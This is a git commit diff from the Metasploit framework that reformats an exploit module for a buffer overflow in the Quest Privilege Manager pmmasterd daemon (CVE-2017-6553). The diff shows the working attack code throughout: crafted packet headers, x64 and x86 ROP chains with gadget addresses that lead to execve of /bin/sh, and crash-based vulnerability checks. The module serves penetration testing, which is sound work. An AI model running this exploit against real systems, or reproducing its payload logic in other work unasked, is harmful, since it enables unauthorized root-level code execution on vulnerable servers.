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msftidy and misc. fixups for Quest BoF module

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This commit is contained in:
Brent Cook 2017-05-11 08:07:39 -05:00
parent e8aed42ecd
commit 30c48deeab
1 changed files with 59 additions and 55 deletions
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114
modules/exploits/linux/misc/quest_pmmasterd_bof.rb
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@ -3,8 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
@ -15,16 +13,18 @@ class MetasploitModule < Msf::Exploit::Remote
'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow',
'Description' => %q{
This modules exploits a buffer overflow in the Quest Privilege Manager,
a software used to integrate Active Directory with Linux and Unix systems.
The vulnerability exists in the pmmasterd daemon, and can only triggered when
the host has been configured as a policy server ( Privilege Manager for Unix
or Quest Sudo Plugin). A buffer overflow condition exists when handling
requests of type ACT_ALERT_EVENT, where the size of a memcpy can be
controlled by the attacker. This module only works against version < 6.0.0-27.
Versions up to 6.0.0-50 are also vulnerable, but not supported by this module (a stack cookie bypass is required).
NOTE: To use this module it is required to be able to bind a privileged port ( <=1024 )
as the server refuses connections coming from unprivileged ports, which in most situations
means that root privileges are required.
a software used to integrate Active Directory with Linux and Unix
systems. The vulnerability exists in the pmmasterd daemon, and can only
triggered when the host has been configured as a policy server (
Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow
condition exists when handling requests of type ACT_ALERT_EVENT, where
the size of a memcpy can be controlled by the attacker. This module
only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also
vulnerable, but not supported by this module (a stack cookie bypass is
required). NOTE: To use this module it is required to be able to bind a
privileged port ( <=1024 ) as the server refuses connections coming
from unprivileged ports, which in most situations means that root
privileges are required.
},
'Author' =>
[
@ -33,11 +33,10 @@ class MetasploitModule < Msf::Exploit::Remote
'References' =>
[
['CVE', '2017-6553'],
['URL' , 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
],
'Payload' =>
{
'BadChars' => "",
'Compat' =>
{
'PayloadType' => 'cmd',
@ -50,41 +49,49 @@ class MetasploitModule < Msf::Exploit::Remote
[
['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
{
:exploit => :exploit_x64,
:check => :check_x64
exploit: :exploit_x64,
check: :check_x64
}
],
['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
{
:exploit => :exploit_x86,
:check => :check_x86
exploit: :exploit_x86,
check: :check_x86
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Apr 09 2017',
'DefaultTarget' => 1
))
)
)
register_options([ Opt::RPORT(12345) ], self.class)
register_options( [ Opt::CPORT(rand(1024))], self.class )
register_options(
[
Opt::RPORT(12345),
Opt::CPORT(rand(1024))
]
)
end
#definitely not stealthy! sends a crashing request, if the socket dies, or the output is partial it assumes the target has crashed. Although the daemon spawns a new process for each connection, the segfault will appear on syslog
# definitely not stealthy! sends a crashing request, if the socket dies, or
# the output is partial it assumes the target has crashed. Although the
# daemon spawns a new process for each connection, the segfault will appear
# on syslog
def check
unless self.respond_to?(target[:check], true)
unless respond_to?(target[:check], true)
fail_with(Failure::NoTarget, "Invalid target specified")
end
return self.send(target[:check])
send(target[:check])
end
def exploit
unless self.respond_to?(target[:exploit], true)
unless respond_to?(target[:exploit], true)
fail_with(Failure::NoTarget, "Invalid target specified")
end
request = self.send(target[:exploit])
request = send(target[:exploit])
connect
print_status("Sending trigger")
@ -95,12 +102,12 @@ class MetasploitModule < Msf::Exploit::Remote
disconnect
end
#server should crash after parsing the packet, partial output is returned
# server should crash after parsing the packet, partial output is returned
def check_x64
head = [ 0x26c ].pack("N")
head << [ 0x700 ].pack("N")
head << [ 0x700 ].pack("N")
head << "\x00"*68
head << "\x00" * 68
body = "PingE4.6 .0.0.27"
body << rand_text_alpha(3000)
@ -111,19 +118,19 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("Sending trigger")
sock.put(request)
res = sock.timed_read(1024, 1)
if res.match("Pong4$")
if res.match? "Pong4$"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Unknown
end
end
#server should crash while parsing the packet, with no output
# server should crash while parsing the packet, with no output
def check_x86
head = [ 0x26c ].pack("N")
head << [ 0x700 ].pack("N")
head << [ 0x700 ].pack("N")
head << "\x00"*68
head << "\x00" * 68
body = rand_text_alpha(3000)
@ -133,7 +140,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("Sending trigger")
sock.put(request)
begin
res = sock.timed_read(1024, 1)
sock.timed_read(1024, 1)
return Exploit::CheckCode::Unknown
rescue ::Exception
return Exploit::CheckCode::Appears
@ -144,38 +151,37 @@ class MetasploitModule < Msf::Exploit::Remote
head = [ 0x26c ].pack("N")
head << [ 0x700 ].pack("N")
head << [ 0x700 ].pack("N")
head << "\x00"*68
head << "\x00" * 68
#rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
ropchain = [
0x408f88, # pop rdi, ret
0x4FA215, # /bin/sh
0x40a99e, # pop rsi ; ret
0, # argv @rsi
0x40c1a0, # pop rax, ret
0, # envp @rax
0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
0xcacc013, # padding
0x408a98, # execve,
0
0x408f88, # pop rdi, ret
0x4FA215, # /bin/sh
0x40a99e, # pop rsi ; ret
0, # argv @rsi
0x40c1a0, # pop rax, ret
0, # envp @rax
0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
0xcacc013, # padding
0x408a98, # execve,
0
].pack("Q*")
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
body << rand_text_alpha(1600)
body << ropchain
body << rand_text_alpha(0x700 - body.size())
return head + body
body << rand_text_alpha(0x700 - body.size)
head + body
end
def exploit_x86
head = [ 0x26c ].pack("N")
head << [ 0x108 ].pack("N")
head << [ 0xcc ].pack("N")
head << "\x00"*68
head << "\x00" * 68
#rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
ropchain = [
0x8093262, # ret
0x73, # cs reg
@ -192,15 +198,13 @@ class MetasploitModule < Msf::Exploit::Remote
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
body << rand_text_alpha(104)
body << ropchain
body << rand_text_alpha(0xb4 - body.size())
body << rand_text_alpha(0xb4 - body.size)
body << [0x50].pack("V")
body << rand_text_alpha(0xc4 - body.size())
body << rand_text_alpha(0xc4 - body.size)
body << [pivotback].pack("V")
body << [writable].pack("V")
body << rand_text_alpha(0x108 - body.size())
body << rand_text_alpha(0x108 - body.size)
return head + body
head + body
end
end